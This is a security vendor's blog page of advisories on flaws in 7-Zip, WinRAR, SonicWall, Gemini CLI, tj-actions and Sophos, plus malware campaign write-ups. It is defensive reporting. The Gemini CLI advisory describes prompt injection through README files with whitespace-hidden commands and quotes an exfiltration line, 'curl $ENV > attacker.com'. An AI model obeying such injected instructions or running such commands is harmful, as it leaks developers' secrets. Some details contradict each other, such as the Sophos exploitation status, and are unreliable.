CISO

Security Advisory

7-Zip Security Flaw Allows Malicious File Writes and Potential Exploits 

Summary Security Advisory: 7-Zip Security Flaw

A vulnerability in 7-Zip (versions before 25.01) allows attackers to abuse symbolic links in archive files to write files outside the intended extraction directory.

Severity Low 
CVSS Score 3.6 
CVEs CVE-2025-55188 
POC Available No 
Actively Exploited No 
Exploited in Wild No 
Advisory Version 1.0 

Overview 

This can lead to overwriting sensitive files, potentially enabling code execution or privilege escalation. The flaw is primarily exploitable on Linux systems due to common file permission models but can also impact Windows under specific conditions. Affected archive formats include ZIP, TAR, 7Z and RAR. 

The security flaw was  reported and discoverd by security researcher lunbun, who identified that 7-Zip fails to properly validate symbolic links when extracting certain archive formats.

Vulnerability Name CVE ID Product Affected Severity Fixed Version 
​ 7-Zip Arbitrary File Write via Symbolic Link Flaw  CVE-2025-55188 7-Zip  Low  25.01 and later. 

Technical Summary 

Cause: Improper validation of symbolic links during archive extraction. 

Attack Vector: Malicious archives can contain symlinks pointing outside the extraction directory. 

Impact: Overwrites arbitrary files on the system. On Linux, this can replace startup scripts, configuration files, or binaries to gain elevated privileges. On Windows, exploitation requires write access to target paths. 

Affected Formats: ZIP, TAR, 7Z, RAR. 

CVE ID CVSS Score System Affected  Vulnerability Details Impact 
CVE-2025-55188 3.6 Linux, Windows 7-Zip versions 7-Zip mishandles symbolic links in archives, letting attackers write files anywhere on the system during extraction. Code execution, Privilege escalation 

Recommendations: 

Here are some recommendations below 

  • Update 7-Zip to version 25.01 or latest one.  
  • Avoid extracting archives from untrusted sources. 
  • Always consider using sandboxed environments for unknown files extraction. 

Conclusion: 
While CVE-2025-55188 carries a low CVSS score, the real-world impact can be severe in certain environments, especially on Linux systems with high-privilege extraction processes.

Immediate patching to 7-Zip 25.01 or later is strongly advised to mitigate the risk of arbitrary file overwrite attacks. 

The researcher has submitted a request for reevaluation of the CVSS score and offered to provide proof-of-concept demonstrations to package repository maintainers who require additional verification.

References: 

Security Advisory

WinRAR Zero-Day Path Traversal Flaw Actively Exploited to Code Execution 

Security advisory: A zero-day path traversal vulnerability has been discovered in the Windows version of a popular file archiver utility, WinRAR. The vulnerability tracked as CVE-2025-8088, affects multiple Windows-based WinRAR an components, which has already been exploited in the wild.

Severity High 
CVSS Score 8.4 
CVEs CVE-2025-8088 
POC Available Yes 
Actively Exploited Yes 
Exploited in Wild Yes 
Advisory Version 1.0 

Overview 
This flaw allows attackers to manipulate the extraction path of files from a malicious archive, enabling them to place arbitrary code file in sensitive system folders, overwrite important files and even execute malicious code immediately upon extraction. 

Vulnerability Name CVE ID Product Affected Severity Fixed Version 
Path Traversal Vulnerability   CVE-2025-8088  WinRAR (Windows versions), RAR, UnRAR, portable UnRAR (Windows), UnRAR.dll 8.4  WinRAR 7.13 

Technical Summary 

When extracting files, vulnerable versions of WinRAR could be tricked into using a maliciously crafted file path embedded inside an archive rather than the user’s intended extraction directory. This occurs when the extraction process fails to properly validate and sanitize file paths before writing them to disk. 
As a result, attackers can: 

  • Place malicious files in protected system directories. 
  • Overwrite critical system/application files. 
  • Trigger automatic execution of malware without further user action. 

Most common attack vector involves sending a malicious archive via phishing or other social engineering techniques. When opened with a vulnerable WinRAR version, the malware is silently deployed and executed. 

Unix versions of RAR, UnRAR, UnRAR library, RAR for Android are not affected for this vulnerability. 

CVE ID System Affected  Vulnerability Details Impact 
CVE-2025-8088 WinRAR and related components on Windows version (RAR, UnRAR, portable UnRAR, UnRAR.dll) Flawed extraction path handling allows files to be placed outside the intended extraction directory. Allows arbitrary file placement, overwriting critical files, and executing malicious code without user interaction. 

Recommendations: 

Here are the recommendations below you can follow 

  • Update immediately to WinRAR 7.13 or newer version from the official WinRAR website. 
  • Avoid extracting archives from untrusted or unknown sources. 
  • Enable endpoint protection and ensure it scans archives before extraction. 
  • Audit your system for unusual or unauthorized files in system directories. 

Conclusion: 
CVE-2025-8088 shows that even widely trusted tools like WinRAR can become high-risk targets when flaws allow silent malware deployment during normal usage. Given that this zero-day has already been exploited, updating to WinRAR 7.13 immediately is crucial. Additionally, users should avoid extracting files from unknown sources and maintain strong endpoint protection. 

References: 

Blogs

Automotive Security under fire as Firmware Flipper Zero of Dark Web break Rolling Code security of Latest Vehicles

Security researchers discovered Firmware for device related to Flipper Zero and showcased by YouTube channel Talking Sasquatch.

A cyber threat that can bring in significant escalation in automotive cybersecurity that demands a single intercepted signal to compromise a vehicle’s entire key automotive functionality. Rolling code security systems basically protects millions of modern vehicles.

Automative vehicles may use encryption to avoid eavesdropping (i.e., capture and decoding of signals) or tampering attacks (i.e., “flipping” lock signals to unlocks). However, replaying signals, even if they are encrypted, is straightforward.

Rolling code security

That is where rolling code come in action and have been introduced wherein a particular code2 (e.g., an “unlock” code) is considered disposable, i.e., it is only used once. In a nutshell, every button click on the key fob triggers a counter in the key fob and in the vehicle upon reception to roll, making it valid for subsequent use in the future. (https://dl.acm.org/doi/full/10.1145/3627827)

Single capture attack method: For this new attack to work, all that is needed is a single button-press capture from the keyfob, without any jamming. Just from that single capture, it is able to emulate all the keyfob’s functions, including lock, unlock, and unlock trunk. A consequence of this is that the original keyfob gets out of sync, and will no longer function.

According to the Talking Sasquatch, the attack works by simply reverse engineering the rolling code sequence, either through sequence leaks or prior brute forcing of the sequence from a large list of known codes.

Challenges in Automotive landscape

The automotive landscape has transformed into a convergence of software and mechanics, introducing exciting possibilities for vehicle performance and convenience. New concerns on vulnerabilities raises eyes about how malicious actors can exploit codes.

Regardless of the method, videos demonstrating the attack show that only a single capture is needed to emulate a keyfob completely.

Affected vehicles include Chrysler, Dodge, Fiat, Ford, Hyundai, Jeep, Kia, Mitsubishi and Subaru. As of yet, there appears to be no easy fix for this, other than mass vehicle recalls.

Secure coding

It is advised that regular code reviews is published that uses latest static analysis tools help detect vulnerabilities early in the development process.

Keep a secured update mechanisms enable swift responses to emerging threats that can address security vulnerabilites

Let’s understand the importance of of security and feel responsible for it and that requires best practices, cyber security culture and implementing early testing.

What can manufactures do to avoid cyber security lapses

For manufactures its advisable DevSecOps and automotive fuzzing tools that offer great solutions to prevent crashes further they improve efficiency and accuracy of their testing efforts and minimize costs.

GaarudNode from Intruceptlabs

GaarudNode is an all-in-one  solution designed to empower development teams with the tools they need to secure their applications throughout the development lifecycle. By combining the power of SAST, DAST, SCA, API security, and CSPM, GaarudNode provides a comprehensive security framework that ensures your applications are built, tested, and deployed with confidence.

Sources: https://www.rtl-sdr.com/flipperzero-darkweb-firmware-bypasses-rolling-code-security/)

Security Advisory

Zero-Day Exploitation in SonicWall Targeted by Akira Ransomware 

Summary 

A critical zero-day vulnerability is suspected in SonicWall SSL VPN appliances, which are currently being actively exploited by threat actors linked to the Akira ransomware group. These attacks began last month and exploit even fully patched devices and systems with multi-factor authentication (MFA) enabled. In many cases, attackers move quickly, encrypting victim systems within hours of gaining access. 

Detailed Observation 

The ongoing attacks targeting SonicWall SSL VPN appliances suggest the presence of a zero-day vulnerability that allows threat actors to gain unauthorized access to enterprise networks.

This exploitation may be limited to TZ and NSa-series SonicWall firewalls with SSLVPN enabled. The attack patterns indicate that the attackers may be exploiting a flaw in the VPN’s authentication or session management mechanisms which they can be able to bypass the MFA.

Security researchers also observed that the threat actors often used legitimate credentials, including recently rotated passwords, implying either credential theft or session hijacking.

These login attempts were traced back to Virtual Private Servers (VPS), a common tactic to obscure the attacker’s origin. Once threat actors on the network, they abuse the privileged accounts, then start establishing C2 and move laterally in the network, then at the last stage before deploying the ransomware they are disabling the defenses to smooth deploy.

The ransomware group suggests Akira, has been seen deploying malware and encrypting data within hours, showcasing a high level of automation and operational efficiency.

The pattern and speed of these attacks point to a well-orchestrated campaign that likely began months earlier (as early as October 2024) but surged in mid-July 2025. This level of sophistication, combined with the failure of traditional defenses, strongly supports the theory that attackers are leveraging an undisclosed vulnerability in SonicWall’s SSL VPN stack. 

Remediation: 

Until an official SonicWall patch is released, organizations should take the following immediate actions: 

  • Disable SonicWall SSL VPN if possible, especially for external access. 
  • Enforce network segmentation to limit the radius of any potential breach. 
  • Monitor access logs for suspicious login attempts (especially from VPS-hosting IP ranges). 
  • Block known malicious IPs and ASNs used in previous attacks. 
  • Rotate all VPN credentials, especially for admin or privileged users. 
  • Harden MFA configuration (though current evidence shows bypasses are possible). 
  • Enable IP reputation and botnet protection features in SonicWall firewalls. 
  • Audit all VPN user accounts, removing any inactive or unnecessary ones. 

IOCs 

Attacker IP Threat Actors used tools ASN/CIDR hosting adversary infrastructure User & Password created  
42.252.99[.]59 w.exe AS24863 – LINK-NET – 45.242.96.0/22 backupSQL (U) 
45.86.208[.]240 win.exe AS62240 – Clouvider – 45.86.208.0/22 lockadmin (U) 
77.247.126[.]239 C:\ProgramData\winrar.exe AS62240 – Clouvider – 77.247.126.0/24 Password123$ (P) 
104.238.205[.]105 C:\ProgramData\OpenSSHa.msi AS23470 – ReliableSite LLC – 104.238.204.0/22 Msnc?42da (P) 
104.238.220[.]216 C:\Program Files\OpenSSH\sshd.exe AS23470 – ReliableSite LLC – 104.238.220.0/22 VRT83g$%ce (P) 
181.215.182[.]64 C:\programdata\ssh\cloudflared.exe AS174 – COGENT-174 – 181.215.182.0/24  
193.163.194[.]7 C:\Program Files\FileZilla FTP Client\fzsftp.exe AS62240 – Clouvider – 193.163.194.0/24  
193.239.236[.]149 C:\ProgramData\1.bat AS62240 – Clouvider – 193.239.236.0/23  
194.33.45[.]155 C:\ProgramData\2.bat AS62240 – Clouvider – 194.33.45.0/24  
  • Source: huntress.com 

Conclusion: 
The exploitation of a suspected zero-day in SonicWall SSL VPN poses an immediate and critical threat to enterprise environments.

The ability of attackers to bypass authentication and deploy ransomware within hours is highly dangerous and points to a sophisticated, active campaign.

Organizations using SonicWall VPNs must take preemptive steps now, including disabling VPN access if feasible and aggressively monitoring for anomalies, until SonicWall releases a formal patch or mitigation advisory 

References: 

Blogs

New Malware Strikes on Users Data, infects Devices has bypass mechanism;

How deadly the malware is warns Researchers. Linux malware variant offers advanced features and evasion mechanisms

PSA stealer malware affected more then 4,000 computers in 62 countries

A brand new malware related to Linux  been found infecting thousands of computers around the world, stealing people’s login credentials, payment information and browser cookies, warns security researchers from SentinelLabs and Beazley Security. More than 4,000 computers were infected with PSA Stealer in 62 countries, the two companies said, suggesting that the campaign is rather successful.

As per researcher PSA Stealer is apparently being distributed through phishing emails and malicious landing pages. The malicious attachments contain a legitimate program (such as a PDF reader) and a weaponized DLL. The program sideloads the DLL, successfully deploying the malware while not raising any alarms.

More than 4,000 computers were infected with PSA Stealer in 62 countries, the two companies said, suggesting that the campaign is rather successful.

The  joint report detailing the activities of PXA Stealer, a new Python-based infostealer for the Linux platform. Spotted in late 2024, and has since grown into a formidable threat, successfully evading defense tools while wreaking havoc across the globe.

Key pointers on installing the applications /malware (Side Loading)

The malware PSA can target browser extensions for various crypto wallets, including Exodus, Magic Eden, Crypto.com and many more

Can pull data from sites such as Coinbase, Kraken, and PayPal.

Finally, it can inject a DLL into running browser instances to bypass encryption mechanisms.

PSA Stealer is apparently being distributed through phishing emails and malicious landing pages

The malicious attachments contain a legitimate program (such as a PDF reader) and a weaponized DLL. 

The program sideloads the DLL, successfully deploying the malware while not raising any alarms.

Hackers who are from Vietnamize origin are selling data selling it on the black market – in a Telegram group. The majority of the victims are located in South Korea, the US, the Netherlands, Hungary, and Austria.

So far, more than 200,000 were stolen passwords, as well as hundreds of credit card information and more than four million cookies.

Vulnerability in SAP NetWeaver recently discovered by threat researchers from from Palo Alto Networks’ Unit 42 is being exploited to deploy Linux malware is capable of running arbitrary system commands and deploying additional payloads, experts have warned.

Security researchers from Palo Alto Networks’ Unit 42 discovered a piece of malware called Auto-Color, a backdoor, from Linux and dubbed for its ability to rename itself after installation.

The researchers found it was capable of opening reverse shells, executing arbitrary system commands, acting as a proxy, uploading and modifying files.

This also include adjusting settings dynamically. It was also discovered that the backdoor remains mostly dormant if its C2 server is unreachable, effectively evading detection by staying inactive until the operator instructions arrive.

Mitigating threat from Malware

Malware is any software intentionally designed to damage, disrupt, or gain unauthorized access to computer systems. In cybersecurity the diversity of malware include viruses, worms, spyware and ransomware. Each has unique attack methods, so it’s essential to understand their nature and behavior to mitigate potential risks.

How does Malware spread & threat Malware pose?

All channels available at disposal should be monitored when we think of malware and how they spread. All types of malware can spread in various ways, using technical vulnerabilities and human inattention to infiltrate systems and networks, but some methods prove more successful than others.  Understanding how malware typically presents itself and spreads can help businesses stay vigilant against its damage.

Deceive & Defend against Malware with Mirage Cloak from IntruceptLabs

Mirage Cloak offers various deception methods to detect and stop threats before they cause damage. These methods include adding decoys to the network, deploying breadcrumbs on current enterprise assets, using baits as tripwires on endpoints, and setting up lures with intentionally misconfigured or vulnerable services or applications. The flexible framework also lets customers add new deception methods as needed.

  • Our AI-powered proactive defense system identifies potential threats in real time, giving you the upper hand in protecting your network and assets.
  • By leveraging advanced artificial intelligence, our system reduces false positives, allowing your security team to focus on genuine threats and respond effectively.
  • With machine learning capabilities, our defense system continuously learns and evolves, adapting to new attack vectors and staying ahead of cyber threats.

Do connect with us for any query: https://intruceptlabs.com/contact/

(Source: Dangerous new Linux malware strikes – thousands of users see passwords, personal info stolen, here’s what we know | TechRadar)

Blogs Security Advisory

Analyzing the newly discovered Vulnerability in Gemini CLI; Impact on Software coding

Google’s Gemini command line interface (CLI) AI agent

Its not been one month when Google’s Gemini CLI vulnerability discovered by Tracebit researchers and found attackers could use prompt injection attacks to steal sensitive data.

Google’s Gemini CLI, an open-source AI agent for coding could allow attackers exploit to hide malicious commands, using “a toxic combination of improper validation, prompt injection and misleading UX,” as Tracebit explains.

After reports of the vulnerability surfaced, Google classified the situation as Priority 1 and Severity 1 on July 23, releasing the improved version two days later.

Those planning to use Gemini CLI should immediately upgrade to its latest version (0.1.14). Additionally, users could use the tool’s sandboxing mode for additional security and protection.

Disclosure of the vulnerability

Researchers reported on vulnerability directly to Google through its Bug Hunters programme. According to a timeline provided by Tracebit, the vulnerability was initially reported to Google’s Vulnerability Disclosure Programme (VDP) on 27 June, just two days after Gemini CLI’s public release.

Impact of the vulnerability

A detailed analysis found that in the patched version of Gemini CLI, attempts at code injection display the malicious command to users. This require explicit approval for any additional binaries to be executed. This change is intended to prevent the silent execution that the original vulnerability enabled.

Tracebit’s researchers played an important role in discovering and reporting the issue which is symbol of independent security research, particularly as AI-powered tools become central to software development workflows.

LLM integral to software development but hackers are using it too

Gemini CLI integrates Google’s LLM with traditional command line tools such as PowerShell or Bash. This allows developers to use natural language prompts to speed up tasks such as analyzing and debugging code, generating documentation, and understanding new repositories (“repos”).

As developers worldwide are using LLMs to help them develop code faster, attackers worldwide are using LLMs to help them understand and attack applications faster. 

Tracebit also discovered that malicious commands could easily be hidden in Gemini CLI This is possible by by packing the command line with blank characters, pushing the malicious commands out of the user’s sight.

More vigilance required when examining and running third-party or untrusted code, especially in tools leveraging AI to assist in software development.

Through the use of LLMs, AI excels at educating users, finding patterns and automate repetitive tasks.

Sam Cox, Tracebit’s founder, says he personally tested the exploit, which ultimately allowed him to execute any command — including destructive ones. “That’s exactly why I found this so concerning,” Cox told Ars Technica. “The same technique would work for deleting files, a fork bomb or even installing a remote shell giving the attacker remote control of the user’s machine.”

Source: https://in.mashable.com/tech/97813/if-youre-coding-with-gemini-cli-you-need-this-security-update

Security Advisory

Gemini CLI Vulnerability Enables Silent Execution of Malicious Commands on Developer Systems 

Summary 

Security Advisory :

In July 2025, a critical security vulnerability was discovered in Google’s Gemini CLI, a command-line tool used by developers to interact with Gemini AI. The flaw allowed attackers to execute hidden, malicious commands without user consent by exploiting prompt injection, poor command validation and an ambiguous trust interface. 

This issue was responsibly reported and addressed with the release of Gemini CLI version 0.1.14. The incident highlights the growing need for secure integration of AI tools in software development workflows. 

Vulnerability Details 

Security researchers identified that Gemini CLI reads project context files—such as README.md—to understand the codebase. Attackers can embed malicious commands into these files using indirect prompt injection techniques. These injected payloads are often disguised within legitimate content (e.g. license text, markdown formatting) to avoid detection. 

A core issue lies in Gemini’s handling of command approvals. Gemini CLI remembers previously approved commands (e.g. grep) to avoid prompting the user repeatedly. Attackers exploited this by appending malicious commands (e.g. curl $ENV > attacker.com) to a trusted one. Since the first part is familiar, the entire command string is executed without further validation. 

To increase stealth, malicious commands are hidden using whitespace padding or formatting tricks to avoid visual detection in the terminal or logs. Researchers demonstrated this attack by cloning a poisoned public GitHub repository, which resulted in unauthorized exfiltration of credentials during Gemini CLI analysis.Initially labeled as a low-severity issue, Google elevated its classification to a high-priority vulnerability and released a fix in version 0.1.14, which now enforces stricter visibility and re-approval of commands. 

Note: By default, Gemini CLI does not enable sandboxing, so manual configuration is required to isolate execution environments from the host system. 

Attack Flow 

Step Description 
1. Craft Malicious prompt injections are embedded inside context files like README.md along with benign code. 
2. Deliver Malicious repository is cloned or reviewed by a developer using Gemini CLI. 
3. Trigger Gemini CLI loads and interprets the context files. 
4. Execution Malicious code is executed due to weak validation and implicit trust. 
5. Exfiltrate Environment variables or secrets are silently sent to attacker-controlled servers. 

Proof-of-Concept Snippet 

Source: Tracebit 

Why It’s Effective 

  • Indirect Prompt Injection: Inserts malicious instructions within legitimate files rather than in direct input, bypassing typical user scrutiny. 
  • Command Whitelist Bypass: Weak command validation allows malicious extensions of approved commands. 
  • Visual Stealth: Large whitespace and terminal output manipulation hide malicious commands from users & security Tools. 

Broader Implications 

Gemini CLI are powerful for developers, helping to automate tasks and understand code faster. But this also comes with vulnerabilities especially when these tools can run commands and interact with untrusted code. This recent example shows how important it is to stay secure when using AI assistants to analyze unknown repositories. For teams working with open-source projects or unfamiliar codebases, it’s important to have safety checks in place. This highlights the growing need for smarter, more secure AI-driven tools that support developers without putting systems at risk. 

Remediation: 

  • Upgrade Gemini CLI to version 0.1.14 or later. 
  • Enable sandboxing modes where it is possible to isolate and protect systems. 
  • Avoid running Gemini CLI against untrusted or unknown codebases without appropriate safeguards. 
  • Review and monitor command execution prompts carefully 

Conclusion: 
The Gemini CLI vulnerability underscores how prompt injection and command trust mechanisms can silently expose systems to attack when using AI tools. As these assistants become more deeply integrated into development workflows, it’s vital to adopt a “trust, but verify” approach treating AI-generated or assisted actions with the same caution as externally sourced code. 

Security, visibility and isolation should be core pillars in any team’s approach to adopting AI in DevOps and engineering pipelines. 

References: 

Security Advisory

Critical Vulnerability identified in tj-actions/branch-names’ GitHub Action workflow

Security advisory:  Patch Now! Critical Command Injection in GitHub Action tj-actions/branch-names Affects 5,000+ public repositories. 

Summary:

A critical vulnerability has been identified in the tj-actions/branch-names’ GitHub Action workflow which allows arbitrary command execution in downstream workflows. This issue arises due to inconsistent input sanitization and unescaped output, enabling malicious actors to exploit specially crafted branch names or tags.

Severity Critical 
CVSS Score 9.1 
CVEs CVE-2025-54416 
POC Available Yes 
Actively Exploited No 
Exploited in Wild No
Advisory Version 1.0 

Overview 
This issue arises due to inconsistent input sanitization and unescaped output, enabling malicious actors to exploit specially crafted branch names or tags. While internal sanitization mechanisms have been implemented, the action outputs remain vulnerable, exposing consuming workflows to significant security risks. This is fixed in version 9.0.0

The flaw allows attackers to run any command during GitHub Actions workflows by creating specially crafted branch names or tags.  

Vulnerability Name CVE ID Product Affected Severity Fixed Version 
Command Injection in branch-names GitHub Action  CVE-2025-54416   tj-actions/branch-names GitHub Action <v8.2.1 9.1  v9.0.0 or later 

Technical Summary 

This Vulnerability puts many CI/CD pipelines at serious risk, including the possibility of stealing secrets or injecting malicious code into releases.

The vulnerability exists due to unsafe usage of the eval command in the action’s script. Although some escaping was done using printf “%q”, developers later used eval printf “%s” to unescaped values, which reintroduced command injection risks.

Any branch name containing malicious shell code can trigger execution during workflows. 

The vulnerability affects GitHub Action workflows that use tj-actions/branch-names. It allows attackers to inject and execute arbitrary shell commands by creating a branch with malicious content. The issue is caused by the unsafe use of eval when handling branch names and tags in output generation. 

CVE ID System Affected  Vulnerability Details Impact 
CVE-2025-54416 GitHub repositories using tj-actions/branch-names < v8.2.1 Unsafe use of eval leads to command injection Attacker can run arbitrary commands, steal secrets, alter source code, or compromise workflows 

Proof of Concept (POC) 


 
Remediation: 

  • Update immediately to tj-actions/branch-names version v9.0.0 or higher. 
  • The vulnerable eval code has been replaced with safe printf usage. 
  • Review your workflows to ensure no malicious activity has occurred. 
  • Check logs for strange branch names or unexpected shell activity. 

Conclusion: 
This command injection flaw is extremely dangerous due to its simplicity and the number of projects it affects. GitHub Actions workflows that use branch names or tags from pull requests are especially at risk. Attackers don’t need access to the code just the ability to open a pull request.

All developers and security teams should act now by updating to the latest version and reviewing usage of GitHub Actions in their workflows. 

References: 

Blogs

Malware Uses AWS Lambda to collect data; Govt Org’s Across S E Asia affected by HazyBeacon

Data Stolen from various government based organizations across South east-Asia via State-Backed HazyBeacon Malware that Uses AWS Lambda was discovered and tracked by researchers Palo Alto Networks Unit 42 under the moniker CL-STA-1020.

Here “CL” stands for “cluster” and “STA” refers to “state-backed motivation, data collected include information about recent tariffs and trade disputes. The initial access vector used to deliver the malware is currently not known, although evidence shows the use of DLL side-loading techniques to deploy it on compromised hosts. Specifically, it involves planting a malicious version of a DLL called “mscorsvc.dll” along with the legitimate Windows executable, “mscorsvw.exe.”

Campaign execution flow

As per researchers backdoor leverages AWS Lambda URLs as command and control (C2) infrastructure. AWS Lambda URLs are a feature of AWS Lambda that allows users to invoke serverless functions directly over HTTPS.

This technique uses legitimate cloud functionality to hide in plain sight, creating a reliable, scalable and difficult-to-detect communication channel.

Figure 1 shows the high-level execution flow of this attack.

(Source: Behind the Clouds: Attackers Targeting Governments in Southeast Asia Implement Novel Covert C2 Communication)

Key points:

The malware is using a newly discovered Windows backdoor dubbed HazyBeacon.

Secondly, it exploits a legitimate feature of the AWS Lambda serverless compute service called Lambda URLs, to hide its malicious activities

AWS Lambda URLs are a part of AWS Lambda that allow users to invoke serverless functions directly over HTTPS.

In this attack, the HazyBeacon backdoor uses the service to establish C2 communications, allowing the actor to engage in covert intelligence gathering.

Researchers at Trellix, revealed the attacker tactic of using Lambda to obscure C2 activity in late June, noting that such obscurity “makes network-based detection nearly impossible without decryption or deep behavioral analysis,” according to their report.

During backdoor deployment, attackers also establish persistence on the compromised Windows endpoint by creating a Windows service named msdnetsvc, which ensures that the HazyBeacon DLL would be loaded even after rebooting the system.

Unit 42 included a list of indicators of compromise (IoCs) in the post to help identify a potential attack. Defenders can set their machine-learning models and analysis techniques to be triggered by those IoCs, as well as use behavioral threat protection to detect and block the execution of processes with malicious behavior in their cloud environments.

How the malware reaches out to serverless AWS Lambda endpoints

  • These URLs are hosted on cloud infrastructure that’s globally trusted
  • Traffic looks like regular HTTPS communication
  • Detection becomes near-impossible for traditional firewalls or EDRs

This use of cloud-native tools for C2 is a growing trend in advanced persistent threats (APTs).

South east Asia a focal point of target

The reason why Southeast Asia has increasingly becoming a focal point for cyber espionage mainly due various sensitive trade negotiations being done by countries, defense enhancement taken up by countries as a part of modernization and power alignment between U.S.–China.

Why threat actors chose this area via targeting government agencies as the data stolen carried various intelligence inputs that were based on foreign policy direction, infrastructure planning and various regulatory shifts that further influence the behavior of global markets.

HazyBeacon reflects a broader aspect and trend in cyber security related to advanced persistent threats using trusted platforms as covert channels.

This cloud-based malware cluster, similar techniques have been observed in threats using Google Workspace, Microsoft Teams, or Dropbox APIs to evade detection and facilitate persistent access.

Once the malware is on the system, it doesn’t want to leave. HazyBeacon registers itself as a Windows service, making sure it gets relaunched after every reboot.

Organizations who detect and mitigate this emerging threats also understand how attackers exploit cloud services for malicious purposes.

The misuse of AWS Lambda occurs when the malicious DLL, mscorsvc.dll, establishes a C2 channel through an AWS Lambda URL. AWS Lambda runs code in response to events without requiring server provisioning or management; the URLs feature, introduced in 2022, extends this functionality by providing customers with a way to configure dedicated HTTPS endpoints for Lambda functions.

Source: 🔍 Deep Dive: How State‑Backed HazyBeacon Malware is Weaponizing AWS Lambda & Steganography | by Abhay Haswani | Jul, 2025 | Medium

Security Advisory

Pre-Auth Remote Code Execution Flaws Patched in Sophos Firewall 

Summary : Sophos has resolved several critical security vulnerabilities in its Firewall products, the most severe vulnerability could allow remote code execution without authentication, potentially giving attackers full control over impacted systems.

OEM Sophos 
Severity Critical 
CVSS Score 9.8 
CVEs CVE-2025-6704, CVE-2025-7624 
POC Available No 
Actively Exploited Yes 
Exploited in Wild Yes 
Advisory Version 1.0 

Overview 

To address the issue, the Sophos has issued hotfixes for five separate vulnerabilities. Two of these are rated as critical and present a serious threat to enterprise networks around the globe. 

                Vulnerability Name CVE ID Product Affected Severity Fixed Version 
Arbitrary file writing vulnerability in Secure PDF eXchange (SPX) feature  CVE-2025-6704 Sophos Firewall Critical   SFOS 21.0 MR2 (21.0.2) and later 
SQL injection vulnerability in legacy SMTP proxy CVE-2025-7624 Sophos Firewall Critical SFOS 21.0 MR2 (21.0.2) and later 

Technical Summary 

The CVE-2025-6704 and CVE-2025-7624 are identified in Sophos Firewall versions prior to 21.0 MR2 (21.0.2), both with a CVSS v3.1 base score of 9.8, indicating critical severity.  

The CVE-2025-6704 involves an arbitrary file writing vulnerability within the Secure PDF eXchange (SPX) feature.

SPX is enabled and the firewall operates in High Availability (HA) mode, attackers can exploit this flaw to execute arbitrary code remotely without authentication. This pre-authentication remote code execution can lead to full system compromise, affecting confidentiality, integrity and availability. 

CVE-2025-7624 pertains to an SQL injection vulnerability in the legacy (transparent) SMTP proxy of Sophos Firewall. If a quarantining policy is active for email and the system was upgraded from a version older than 21.0 GA, this weakness could potentially allow remote code execution.

Exploitation of this flaw can lead to unauthorized access, manipulation of firewall configurations, and potential lateral movement within the network. 

CVE ID System Affected  Vulnerability Details Impact 
 CVE-2025-6704 v21.5 GA and older A rare SPX feature flaw in HA mode can allow pre-auth remote code execution, affecting 0.05% of devices.  Pre-auth remote code execution (RCE) in Sophos Firewall SPX feature 
CVE-2025-7624 v21.5 GA and older An SQL injection in the legacy SMTP proxy can enable remote code execution if email quarantine is active and SFOS was upgraded from pre-21.0 GA. It affects up to 0.73% of devices. Remote code execution via SMTP proxy 

In addition to the Critical Severity vulnerabilities, two other High and one medium severity issues were addressed. 

CVE-2025-7382 – Command Injection in WebAdmin Interface (CVSS 8.8) 

A WebAdmin command injection flaw allows adjacent pre-auth code execution on HA auxiliary devices if admin OTP is enabled.  

CVE-2024-13974 – Business Logic Vulnerability in Up2Date Component (CVSS 8.1) 

 A business logic flaw in Up2Date lets attackers control firewall DNS to enable remote code execution. 

CVE-2024-13973 – Post-Auth SQLi Vulnerability in WebAdmin (CVSS 6.8) 

A post-auth SQL injection in WebAdmin allows admins to execute arbitrary code. 

Remediation: 

Users should immediately update Sophos Firewall to the latest patched version: 

  • For CVE-2025-6704, CVE-2025-7624, CVE-2025-7382: Upgrade to Sophos Firewall 21.0 MR2 (21.0.2) or later. 
  • For CVE-2024-13974 and CVE-2024-13973: Upgrade to Sophos Firewall 21.0 MR1 (20.0.1) or later. 

If you are not using the Secure PDF eXchange (SPX) feature or legacy SMTP proxy, consider disabling them until they are patched. 

Users operating legacy versions prior to the supported range must upgrade their systems to receive these critical security protections and maintain adequate defense against potential exploitation attempts.

Conclusion: 
In Sophos Firewalls that allow attackers to execute code remotely without logging in. Although only a small percentage of devices are affected, the flaws are serious.

Fortunately, Sophos quickly pushed automatic fixes, and no attacks have been seen so far. Users should verify their firewalls are fully updated and have auto update enabled to stay protected. 

The impact scope for this vulnerability reaches up to 0.73% of deployed devices. Both critical vulnerabilities were discovered and responsibly disclosed through Sophos’ bug bounty program by external security researchers.

References: 

Scroll to top